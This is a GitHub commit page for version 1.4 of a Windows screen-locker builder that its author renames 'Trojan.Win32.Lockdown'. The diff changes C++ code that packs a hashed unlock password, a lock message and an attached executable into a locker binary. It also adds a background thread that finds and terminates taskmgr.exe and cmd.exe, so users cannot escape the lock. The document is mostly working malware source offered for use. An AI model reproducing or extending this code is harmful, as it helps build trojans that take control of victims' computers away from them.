Skip to content

Commit

Permalink
1.4
Browse files Browse the repository at this point in the history
1.4 (11/7/2017)

- Project renamed to Trojan.Win32.Lockdown
- Now blocks cmd.exe
- Shutdown 2017 no longer has dependencies
- Shutdown 2017 runs builder and lockdown internally.
- Minor bug fixes
  • Loading branch information
AHXR committed Nov 8, 2017
1 parent 8c7e0c6 commit b193272
Show file tree
Hide file tree
Showing 18 changed files with 225 additions and 262 deletions.
10 changes: 9 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,12 @@
1.3
1.4 (11/7/2017)

- Project renamed to Trojan.Win32.Lockdown
- Now blocks cmd.exe
- Shutdown 2017 no longer has dependencies
- Shutdown 2017 runs builder and lockdown internally.
- Minor bug fixes

1.3 (11/1/2017)

- Exit button added to GUI
- Save file dialog fixed
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ In the releases, I've included the builder, the empty screenlock exe (don't run)

---

# AHXR ScreenLock - Shutdown 2017
# Trojan.Win32.Lockdown - Shutdown 2017

<p align="center">
<img src="https://i.imgur.com/aaClNNk.png" />
Expand Down
33 changes: 16 additions & 17 deletions builder/frmMain.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,6 @@
#include <msclr\marshal_cppstd.h>
#include <iostream>

//#define DEBUG_MODE

using namespace msclr::interop;
using namespace System;
using namespace System::Windows::Forms;
Expand All @@ -35,28 +33,29 @@ bool b_tracking_toggle;
#include "locker.h"
#include "pack.h"
#include "frmMain.h"
#include "settings.h"

[STAThread]
void main(array<String^>^ args) {

#ifdef DEBUG_MODE
packLocker("AXHRLocker.exe", "hi", "basic message.");
#endif


if (args->Length >= 3) {
// For some reason I'm unable to directly use args in marshal_as (argument error)
System::String ^ s_arg_one;
System::String ^ s_arg_two;
System::String ^ s_arg_three;
System::String ^ s_arg_four;
System::String ^ s_arg_five;

s_arg_one = args[0];
s_arg_two = args[1];
s_arg_three = args[2];
s_arg_four = args[3];
s_arg_five = args[4];
// For some reason I'm unable to directly use args in marshal_as (argument error)
String
^ s_arg_one,
^ s_arg_two,
^ s_arg_three,
^ s_arg_four,
^ s_arg_five
;

s_arg_one = args[ARG_FILE_NAME];
s_arg_two = args[ARG_PASSWORD];
s_arg_three = args[ARG_MESSAGE];
s_arg_four = args[ARG_EXE];
s_arg_five = args[ARG_ADDRESS];

std::string s_file_name = marshal_as< std::string >(s_arg_one);
//std::cout << s_file_name << " | " << marshal_as< std::string >(s_arg_two) << " | " << marshal_as< std::string >(s_arg_three) << " | " << marshal_as< std::string >(s_arg_four) << std::endl;
Expand All @@ -68,7 +67,7 @@ void main(array<String^>^ args) {
packLocker(s_file_name, marshal_as< std::string >(s_arg_two), marshal_as< std::string >(s_arg_three));

if (args->Length >= 4) {
s_arg_four = args[3];
s_arg_four = args[ARG_EXE];

std::string s_exe = marshal_as< std::string >(s_arg_four);

Expand Down
36 changes: 36 additions & 0 deletions library/SHA256LICENSE.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
/*
* Updated to C++, zedwood.com 2012
* Based on Olivier Gay's version
* See Modified BSD License below:
*
* FIPS 180-2 SHA-224/256/384/512 implementation
* Issue date: 04/30/2005
* http://www.ouah.org/ogay/sha2/
*
* Copyright (C) 2005, 2007 Olivier Gay <olivier.gay@a3.epfl.ch>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the project nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
8 changes: 8 additions & 0 deletions builder/locker.cpp → library/locker.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,10 +22,14 @@
//=======================================================
#include <string>
#include <fstream>

#include "settings.h"
#include "pack.h"

using namespace std;

string LOCKER_FILE_NAME;

void buildNewLocker(string fileName) {
ifstream
f_old;
Expand All @@ -39,4 +43,8 @@ void buildNewLocker(string fileName) {

f_old.close();
f_new.close();
}

void setLockerFileName(string name) {
LOCKER_FILE_NAME = name;
}
2 changes: 1 addition & 1 deletion builder/locker.h → library/locker.h
Original file line number Diff line number Diff line change
Expand Up @@ -23,4 +23,4 @@
#include <string>

extern void buildNewLocker( std::string fileName);
extern void attachExecutable( std::string packedFile, std::string exePath);
extern void setLockerFileName( std::string name);
38 changes: 27 additions & 11 deletions builder/pack.cpp → library/pack.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,8 @@
//=======================================================
#include "pack.h"
#include "sha256.h"
#include "settings.h"

#include <string>
#include <fstream>
#include <vector>
Expand All @@ -34,10 +36,10 @@ void packLocker(string fileName, string password, string message) {

f_file.open(fileName, fstream::app);

f_file << "----";
f_file << "{" << sha256(password) << "}";
f_file << "{" << message << "}";
f_file << "{" << "0" << "}";
f_file << PACK_SPLITTER;
f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
f_file << PACK_OPENER << message << PACK_CLOSER;
f_file << PACK_OPENER << PACK_ADDRESS_DEF << PACK_CLOSER;

f_file.close();
}
Expand All @@ -48,12 +50,28 @@ void packLocker(string fileName, string password, string message, string address

f_file.open(fileName, fstream::app);

f_file << "----";
f_file << "{" << sha256(password) << "}";
f_file << "{" << message << "}";
f_file << "{" << address << "}";
f_file << PACK_SPLITTER;
f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
f_file << PACK_OPENER << message << PACK_CLOSER;
f_file << PACK_OPENER << address << PACK_CLOSER;

f_file.close();
}

void packLocker(string fileName, string password, string message, string address, string exePath) {
fstream
f_file;

f_file.open(fileName, fstream::app);

f_file << PACK_SPLITTER;
f_file << PACK_OPENER << sha256(password) << PACK_CLOSER;
f_file << PACK_OPENER << message << PACK_CLOSER;
f_file << PACK_OPENER << address << PACK_CLOSER;

f_file.close();

attachExecutable(fileName, exePath);
}

void attachExecutable(string packedFile, string exePath) {
Expand All @@ -67,9 +85,7 @@ void attachExecutable(string packedFile, string exePath) {
f_write.open( packedFile, fstream::app | fstream::binary);

// Creating brackets and writing the exe into the packed file.
f_write << "{";
f_write << f_exe.rdbuf();
f_write << "}";
f_write << PACK_OPENER << f_exe.rdbuf() << PACK_CLOSER;

f_exe.close();
f_write.close();
Expand Down
5 changes: 3 additions & 2 deletions builder/pack.h → library/pack.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,8 @@
*/
//=======================================================
#include <string>
#define LOCKER_FILE_NAME "AHXRLocker.exe"

extern void packLocker(std::string fileName, std::string password, std::string message);
extern void packLocker(std::string fileName, std::string password, std::string message, std::string address);
extern void packLocker(std::string fileName, std::string password, std::string message, std::string address);
extern void packLocker(std::string fileName, std::string password, std::string message, std::string address, std::string exePath);
extern void attachExecutable(std::string packedFile, std::string exePath);
34 changes: 34 additions & 0 deletions library/settings.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
/*
@title
AHXRScreenLock
@author
AHXR (https://github.com/AHXR)
@copyright
2017
AHXRScreenLock is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
AHXRScreenLock is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>.
*/
//=======================================================
//#define DEBUG_MODE

#define ARG_FILE_NAME 0
#define ARG_PASSWORD 1
#define ARG_MESSAGE 2
#define ARG_EXE 3
#define ARG_ADDRESS 4

#define PACK_SPLITTER "----"
#define PACK_OPENER "{"
#define PACK_CLOSER "}"
#define PACK_ADDRESS_DEF "0"
2 changes: 2 additions & 0 deletions builder/sha256.cpp → library/sha256.cpp
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
#define _CRT_SECURE_NO_WARNINGS

#include <cstring>
#include <fstream>
#include "sha256.h"
Expand Down
File renamed without changes.
70 changes: 38 additions & 32 deletions locker/handleThread.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -26,14 +26,20 @@
#include <tlhelp32.h>
#include <string>

#define CMD_KILL
#define TASK_MANAGER_KILL
#define FORCE_WINDOW

#define SCREEN_LOCK_FRM L"frmScreenLock"

#ifdef TASK_MANAGER_KILL
#define SCREEN_LOCK_TSKMGR L"taskmgr.exe"
#endif

#ifdef CMD_KILL
#define SCREEN_LOCK_CMD L"cmd.exe"
#endif

using namespace System;
using namespace System::Threading;
using namespace System::Diagnostics;
Expand All @@ -46,10 +52,8 @@ HANDLE t_handle;
DWORD d_thread_id;

DWORD WINAPI calculateHandleData(LPVOID lpParameter);
DWORD FindProcessId(const std::wstring& processName);

#ifdef TASK_MANAGER_KILL
DWORD FindProcessId(const std::wstring& processName);
#endif

void startHandleThreading() {
t_handle = CreateThread(0, 0, calculateHandleData, 0, 0, &d_thread_id);
Expand Down Expand Up @@ -100,41 +104,43 @@ DWORD WINAPI calculateHandleData(LPVOID lpParameter) {
TerminateProcess(h_process, 1);
}
#endif

#ifdef CMD_KILL
DWORD dc_task = FindProcessId(SCREEN_LOCK_CMD);
if (dc_task != 0) {
HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, dc_task);
TerminateProcess(h_process, 1);
}
#endif
}
}
return 0;
}

#ifdef TASK_MANAGER_KILL
/*
Taken from - https://stackoverflow.com/a/13716992
*/
DWORD FindProcessId(const std::wstring& processName)
{
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);

HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;

Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
/*
Taken from - https://stackoverflow.com/a/13716992
*/
DWORD FindProcessId(const std::wstring & processName) {
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);

while (Process32Next(processesSnapshot, &processInfo))
{
if (!processName.compare(processInfo.szExeFile))
{
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;

Process32First(processesSnapshot, &processInfo);
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(processesSnapshot);
return 0;
return processInfo.th32ProcessID;
}
#endif

while (Process32Next(processesSnapshot, &processInfo)) {
if (!processName.compare(processInfo.szExeFile)) {
CloseHandle(processesSnapshot);
return processInfo.th32ProcessID;
}
}

CloseHandle(processesSnapshot);
return 0;
}
Loading

0 comments on commit b193272

Please sign in to comment.